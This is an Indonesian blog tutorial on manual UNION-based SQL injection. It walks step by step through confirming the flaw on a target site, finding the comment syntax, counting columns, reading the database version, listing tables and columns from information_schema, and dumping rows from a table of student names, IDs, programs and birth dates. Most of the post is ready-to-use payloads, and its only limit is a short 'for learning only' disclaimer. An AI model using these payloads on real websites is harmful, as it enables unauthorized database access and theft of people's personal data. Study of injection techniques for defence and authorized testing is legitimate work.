Tutorial SQL Injection Manual Lengkap

Tutorial SQL Injection Manual Lengkap - Hai Semua, selamat datang di blog Noob1t4, Pada Artikel yang kalian baca kali ini dengan judul Tutorial SQL Injection Manual Lengkap, kami telah mempersiapkan artikel ini dengan baik untuk kalian baca dan ambil informasi didalamnya. mudah-mudahan isi postingan yang kami tulis ini dapat kalian pahami. baiklah, selamat membaca.

Tutorial SQL Injection Manual Lengkap. Yooo… kali ini saya mau sharing sedikit tentang bagaimana cara melakukan injeksi manual pada website yang rentan terhadap serangan SQL Injection. Ya anggap saja ini biar kita paham dengan konsepnya, meskipun saat ini kalian bisa melakukan injeksi menggunakan tools seperti SQLmap maupun Havij. Oh iya, di tutorial ini yang akan saya bahas adalah sql injection manual yang dasar banget. Jadi gak ada firewall di server target, jadi gak perlu bypass waf.


Step 1 – Mengkonfirmasi Kerentanan


Pertama, kita pastikan dulu webnya vuln. Ya jelas dong, gimana mau nginject kalo webnya gak vuln h3h3. Untuk mengecek webnya vuln apa gak, kita cukup menginputkan tanda petik satu ( ‘ ). Jika muncul error, berarti vuln. Lihat ss berikut biar paham.


Dibawah ini adalah output ketika tidak kita beri tanda petik satu.


kali


Hasilnya:


kali


Disitu memang outputnya data tidak ditemukan. Namun error tersebut adalah error yang disebabkan data yang ktia inputkan tidak ada di database.


Sekarang kita coba tambahkan tanda petik satu.


kali



  • Warning: mysqli_num_rows() expects parameter 1 to be mysqli_result..


kali


Anjay mabar. Oke kita sudah pastikan bahwa website ini kemungkinan besar vuln SQL injection. Lanjut ke tahap kedua.


Step 2 – Menentukan Balancing


Oke tahap selanjutnya adalah menentukan comment atau balancing pada payload kita. berikut daftar balancing yang sering digunakan


kali


Ingat, balancing disini tidak bisa sembarangan. Saya lihat di banyak tutorial injeksi menyarankan penggunaan comment double dash (– –), padahal tidak semua harus menggunakan double dash.


Sebagai contoh, kita coba masukkan payload berikut


1337' --

kali


Masih error. Kita coba lagi balancing lainnya sampai ketemu yang gak error. Oke skip aja karena saya sudah coba semua, dan ketemu balancingnya adalah



  • 1337′ #


kali


Oke sip, setelah ketemu balancingnya, kita lanjut ke step 3.


Step 3 – Menentukan Jumlah Columns


Oke, langkah selanjutnya adalah menentukan jumlah kolom dari table di database yang digunakan oleh web tersebut. Caranya adalah menggunakan order by, dan menemukan di angka berapa terdapat error.



  • 1337′ order by 1# – Normal

  • 1337′ order by 2# – Normal

  • 1337′ order by 3# – Normal

  • 1337′ order by 4# – Normal

  • 1337′ order by 5# – Normal

  • 1337′ order by 6# – Error


Oke, error muncul di angka keenam. Yang kalau bahasa sederhananya : He, kolom keenam itu gak ada goblok. Atau dalam kata lain, jumlah kolom hanya ada 5.


Oke sekarang setelah tau jumlah kolom nya ada 5, kita lanjut ke step berikutnya.


Step 4 – Menemukan “Angka Ajaib”


Entah ini nyebutnya apa. Tapi anak-anak sering nyebutnya magic number alias angka ajaib. Angka ini bisa diperoleh dengan menjalankan payload berikut



  • 1337′ union select 1,2,3,4,5#


Sesuaikan sendiri dengan jumlah table yang kalian temukan. Tujuan dari query ini adalah untuk memeriksa apakah kita bisa menggunakan union select.


Oke, disini outputnya adalah 1,2,5,3.


kali


Artinya kita bisa menggunakan salahsatu dari angka tersebut di step selanjutnya. Ingat, output dari setiap target berbeda-beda. Kalian bisa sesuaikan sendiri.


Step 5 – Melihat Versi Database


Langkah ini hanya untuk memastikan bahwa database yang digunakan adalah versi 5. Alasannya karena jika kita ketemu dengan web target yang menggunakan db versi 4, kita harus tebal tebakan nama table. Dan jika sudah begitu saya sendiri lebih memilih menggunakan sqlmap hehe.


Di step sebelumnya diketahui bahwa saya bisa menggunakan salahsatu dari angka 1,2,3,5. Disini saya akan menggunakan angka 5.



  • 1337′ union select 1,2,3,4,@@version#


Output


kali


Oke, terlihat database yang digunakan adalah MySQL versi 5.7.23. Selain mengecek versi database, kita juga bisa mengecek parameter lain menggunakan fungsi berikut ini:



  • @@version — menampilkan Versi database

  • user() — menampilkan Nama User database

  • @@hostname — menampilkan Hostname

  • @@tmpdir — menampilkan Direktori temp

  • @@datadir — menampilkan Direktori data

  • @@basedir — menampilkan Direktori base

  • database() — menampilkan Nama Database

  • schema() — menampilkan Database yang dipakai

  • session_user() — menampilkan Session User


Untuk memeriksa beberapa query sekaligus, kita bisa gunakan concat. Contoh:



  • 1337′ union select 1,2,3,4,concat(@@version,schema())#


Contoh output:


kali


Oke kita lanjut ke tahap berikutnya.


Step 6 – Memunculkan Nama Table


Selanjutnya adalah memunculkan nama table. Querynya adalah sebagai berikut



  • 1337′ union select 1,2,group_concat(table_name),4,5 from information_schema.tables where table_schema=database() #


Sebenarnya kita bisa tetap menggunakan angka ajaib 5, namun disini saya pindah ke 3 agar tidak rancu. Maksudnya agar kalian tau bahwa query ini



  • from information_schema.tables where table_schema=database()


Harus diletakkan sebelum balancing, bukan setelah grup_concat. Oke, ini outputnya:


kali


Terdapat dua table yakni kelulusan_himameka dan testtable. Selanjutnya kita akan melihat nama kolom dari salahsatu table tersebut.


Step 7 – Memunculkan daftar Columns


Step berikutnya adalah melihat nama kolom. Disini saya akan melihat nama kolom dari table kelulusan_himameka. Namun sebelum itu, kalian harus meng-convert nama table nya menjadi bentuk hex. Kalian bisa googling sendiri “string to hex“, atau bisa gunakan tool online berikut:



  • https://www.online-toolz.com/tools/text-hex-convertor.php


kelulusan_himameka diconvert ke bentuk hex menjadi 6b656c756c7573616e5f68696d616d656b61. Tambahkan 0x didepannya menjadi 0x6b656c756c7573616e5f68696d616d656b61. 0x sendiri merupakan bentuk hex dari spasi. Dan query injeksinya menjadi



  • 1337′ union select 1,2,group_concat(column_name),4,5 from information_schema.columns where table_name=0x6b656c756c7573616e5f68696d616d656b61#


Output:


kali


Nama kolom: nim, nama, prodi, status, tgllahir


Step 8 – Memunculkan Data dari Columns


Step terakhir dari SQl Injection adalah memunculkan data dari kolom. Query injeksinya adalah



  • 1337′ union select 1,2,group_concat(nim,0x3a,nama,0x3a,prodi,0x3a,status,0x3a,tgllahir),4,5 from kelulusan_himameka#


0x3a sendiri merupakan bentuk hex dari [ :]. Output


kali


Oke selesai. Kalian telah menguasai tutorial bagaimana cara melakukan SQL Injection secara manual. Mungkin sekian tutorial kali ini, jika ada yang ingin ditanyakan silahkan tinggalkan komentar.


Referensi:



  • https://www.owasp.org/index.php/Comment_Injection_Attack

  • http://www.securityidiots.com/Web-Pentest/SQL-Injection/Part-3-Basic-of-SQL-for-SQLi.html

  • https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/

  • https://www.exploit-db.com/papers/13045



Sumber http://noob1t4.blogspot.com/

Artikel Menarik Lainnya:




Sekian Artikel Tutorial SQL Injection Manual Lengkap.
Terima kasih telah membaca artikel Tutorial SQL Injection Manual Lengkap, mudah-mudahan bisa memberi manfaat untuk kalian semua. Baiklah, sampai jumpa di postingan artikel lainnya.


Semua artikel tutorial di blog ini hanya untuk sebatas Pembelajaran dan Pengetahuan saja, jika kalian meyalahgunakan tutorial di blog ini, itu bukan tanggung jawab saya. Terima kasih sudah berkunjung ke blog Noob1t4, saya harap agan berkunjung kembali kesini

0 Response to "Tutorial SQL Injection Manual Lengkap"

Posting Komentar

Iklan Atas Artikel

Iklan Tengah Artikel 1

Iklan Tengah Artikel 2

Iklan Bawah Artikel